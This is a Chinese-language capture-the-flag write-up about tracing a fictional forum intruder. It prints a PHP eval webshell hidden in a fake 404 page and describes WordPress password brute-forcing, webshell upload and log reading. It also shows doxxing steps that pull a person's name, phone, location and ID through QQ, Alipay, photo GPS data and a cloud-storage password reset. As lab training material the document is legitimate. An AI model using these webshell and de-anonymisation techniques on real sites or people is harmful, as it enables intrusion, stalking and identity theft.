PCCTF热身赛—溯源&社工类题目解析

PCCTF热身赛—溯源&社工类题目解析

题目从最初设计发生了变化,本来想的是单纯的社工题,后来越走越偏,就成了溯源&社工。还有就是一开始的思路是对网站管理员进行社工等操作,后来思考了很久,感觉既然网站管理员的网站都已经被入侵了,是受害者,那倒不如将思路放在网站管理员对黑客进行社工信息收集与溯源一类的操作。

故事背景:

1
小明是XX公司的运维实习生之一,最近由他负责运维的论坛被黑客入侵并且留下了后门,具体利用了哪些漏洞和方法未知。小明发现后立即将网站源码进行了备份,打算分析出后门文件位置,从而进一步进行分析溯源,从此开始了后续的一系列操作。

人物刻画:

受害者公司

1
2
3
4
5
6
7
8
9
姓名:小明

性别:男

岗位:某公司BBS运维实习生之一

技术:懂一点Linux技术,编程语言php,html入门,有很强的上进心,积极参与各类活动,对所谓的"黑客技术"有一颗执迷的心。

学历:本科毕业

黑客(攻击者)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
背景:伪hacker,俗称骗子,曾经就骗过消费者被公开骂,号称专业查杀网站后门,提供黑客技术,专业查各大网站、论坛、贴吧发帖人ip地址信息,定位跟踪手机,包找到人!专业!高效!保密!诚信!

姓名:*玉

地址:浙江省杭州市西湖区西湖花园

经纬度:120.112972,30.18825

身份证号:330106199409******

代理ip:39.97.***.**

真实ip:218.72.111.***

支付宝帐号:131610*****

QQ:31833****

常用ID:okkio09

生日:1994/09/25

blog:http://39.97.***.**:8000/

常用密码:****u1994925

邮箱:https://www.2980.com

账号:okkio09@2980.com
密码:Pa***19940925

假邮箱:okkio09@163.com

题解部分:

1.被黑的网站:

1
2
3
4
5
6
7
小明是XX公司的运维实习生之一,最近由他负责运维的论坛被黑客入侵并且留下了后门,具体利用了哪些漏洞和方法未知。小明发现后立即将网站源码进行了备份,打算分析出后门文件位置,从而进一步进行分析溯源,你能帮帮小明吗?

tips:
flag为黑客id的md5值,格式pcctf{***}
backup
寻找网站根目录的备份文件
也许是隐藏的。

BBS首页

根据提示知,题目入口是找到这个论坛网站根目录的备份文件,提示 backup 和隐藏文件,猜想到文件名有可能是.backup.xxx

在Linux下的压缩文件后缀名常用的就几个,比如:.tar|.tar.gz|.tgz|.zip|.7z

尝试.backup.tar.gz成功下载到备份文件

题目提示让分析出后门文件位置,所以直接拿D盾 webshell 查杀工具扫一下看看有没有 webshell

404 webshell 后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

</body></html>

<?php

@eval($_POST["Bugs2020"]);

header('HTTP/1.1 404 Not Found');

/*Hacker by okkio09

*/

?>

由 php 注释中得到hack的id为:okkio09

md5 加密一下拿到flag

1
pcctf{12060a2df71ea1c7764141ee4eb0593c}

2.小明的反击:

1
2
3
4
5
根据之前得到的信息,对该黑客的博客进行破解。

tips:
flag为博客密码的md5值,提交格式pcctf{***}
黑客的博客即为他的代理ip。

说到代理ip,不难想到可能会跟hack的登录相关,因为是bbs论坛网站,所以后台应该会有登录日志和发帖日志等,这些功能有可能会对ip地址进行记录。

Cknife连接一句话

配置文件拿到数据库连接账号密码

/var/www/html/conf/conf.php

连接数据库找到用户信息,可以看到是加盐的密码,所以应该不容易解出

继续往后翻发现真的有 ip 字段

创建ip以及登录ip信息,接着我们只需找到okkio09这个id的登录ip即可,而且还顺利的拿到了他的qq号。

ip信息被转换为了长整型数据,解一下即可,需要用php的long2ip()函数。

1
2
3
4
5
<?php
$ip = '******378';
echo long2ip($ip);
echo "\n";
?>

解出之后拿到代理ip,题目提示代理ip即为博客ip

访问该ip无任何反应,但是可以ping通,此时应该朝着端口方向猜想,nmap 扫到8000端口,访问就是他的博客。

博客使用wordpress搭建,默认后台地址:http://39.97.***.**:8000/wp-login.php

获取更多的信息来制作社工字典,对博客后台进行爆破。

目前已知信息:

1
2
3
ID:okkio09

qq:31833****

看来只能通过加qq看看能不能获取到更多的信息。

添加时需要回答问题,只需找点理由(业务相关,定位人等等)就能顺利通过。

空间中发现该名hack曾换过手机号,并且把新手机号也发了出来,get到手机号。

查看详细资料得到出生年月。

利用得到的手机号去支付宝进行转账,然后对姓名进行校验,看看能不能得到真的名字。

名字为两个字,比较容易猜(为了降低难度,百度直接搜索手机号也会得到很多信息,包括真实姓名等)

下面整理一下得到的有用的信息

1
2
3
4
5
6
ID:okkio09
qq:31833****
手机:131610*****
生日:1994/09/25
真实姓名:*玉
姓名拼音:***yu

利用这些信息生成组合密码,对 hack 的博客后台进行爆破

爆破成功,发现后台密码为:姓名拼音+出生年月

flag为博客密码的md5值,提交格式pcctf{***}

1
pcctf{2543e4ab****************bcb5b42d}

3.继续分析:

1
2
3
4
5
经过一番分析与溯源,你已经有一些成果了,那么请你找出该黑客的真实ip地址。

tips:
flag为黑客真实ip的md5值,提交格式pcctf{***}
想想黑客会用真实ip登录什么。

hack博客的后台前面已经拿下,接下来想办法拿shell

方法很多,以简单的为例:

wordpress插件位置直接上传.php文件,虽然会提示安装失败,但是会直接保存到/wp-content/uploads/年份/月份/目录下,并且可以解析。

直接上传一个一句话,拿到shell(这里需要主要php的版本)

根据该题目提示,flag为黑客真实ip的md5值,想想黑客会用真实ip登录什么。

登录的功能记录ip地址还挺多的,比如登录wp后台,登录ssh服务等等,这里直接查一下/var/log/secure文件,取证中比较常见。

很多记录都是内网的ip,但是还是找到了两条蛛丝马迹。

真实ip:218.72.111.***

经md5加密后即为flag

1
pcctf{0830f1be****************82bf15dde}

4.一步之遥:

1
2
3
4
5
6
距离成功就差一步了,请你继续进行溯源,并写出黑客所在地的具体位置

tips:
flag为黑客真实所在地位置拼音的md5值(例:泰山学院即"taishanxueyuan",并转为md5),提交格式pcctf{***}
用户目录
和邮箱有关

题目说是位置信息,前面拿到了真实ip,但是该ip查不到具体位置,遂放弃。

本题提示与邮箱有关,在小明的BBS中查到了hack的注册邮箱,但是这个邮箱是假的。

于是去hack的博客找找,最终发现真实邮箱为:okkio09@2980.com

又提示用户目录,所以用shell看看,发现/home/okkio09/目录下有一个隐藏文件.smtp,猜想可能是smtp配置文件备份,拿到密码。

1
2
3
4
email
okkio09@2980.com
pass
***Yu19940925

登录邮箱寻找关键信息

登录发现此邮箱被轰炸过,收件箱有大量邮件,索性去发件箱看看

看到此hack曾给某人发过图片,还是打包发送的,所以exif可能会泄露位置信息。

将附件下载下来在进行分析。

解压后发现是三张可爱的小猫照片。

拖进EXIF信息查看器分析

https://exif.tuchong.com/

果然顺利拿到GPS信息,经纬度

需要进行经纬度转换成为度分秒,然后坐标反查

经纬度转换成为度分秒:http://www.gzhatu.com/du2dfm.html

纬度:

经度:

坐标拾取/坐标反查:http://api.map.baidu.com/lbsapi/getpoint/

经纬度:120.112972,30.18825

直接精确的定位到西湖花园

flag为xihuhuayuan的md5

1
pcctf{d47fd3629a44f3f81cddeabbefc0368e}

5.抓到你了:

1
2
3
4
5
干的不错,到此就对黑客有了大致的了解,既然你已经get到了这么多有用的信息,那么就把黑客的身份证号贴出来吧。

tips:
flag为黑客的身份证号的md5值,提交格式pcctf{***}
和网盘有关。

除了提示网盘,没有任何提示,所以感觉可能会有身份证信息存在了网盘里。

翻邮件看看都注册了哪些网站,在末尾发现曾经注册过NextCloud

继续访问,用之前得到的密码测试了一下,发现并不能登录。

下方发现找回密码功能,既然不知道密码,直接重置掉就好。

寻找一番,最终在Photos目录中发现身份证照片。

1
2
3
flag为身份证号的md5

pcctf{0d6871cb83e************54095e5a6}

此次题目是针对19级学弟,其实题目本身并不难,都是一些基础操作。重要的是对此次事件整个流程的思考,思路,要学会转变思维,以一个hack的角度对待问题。

另外此次的赛题并不细腻,比如一开始打算利用备案信息来获取到身份证号等等,后来因为某些因素放弃。

文章作者: Linuz
文章链接: https://linuz.me/2020/06/30/2020-PCCTF-Writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Linuz's Blog
敢不敢赏脸一次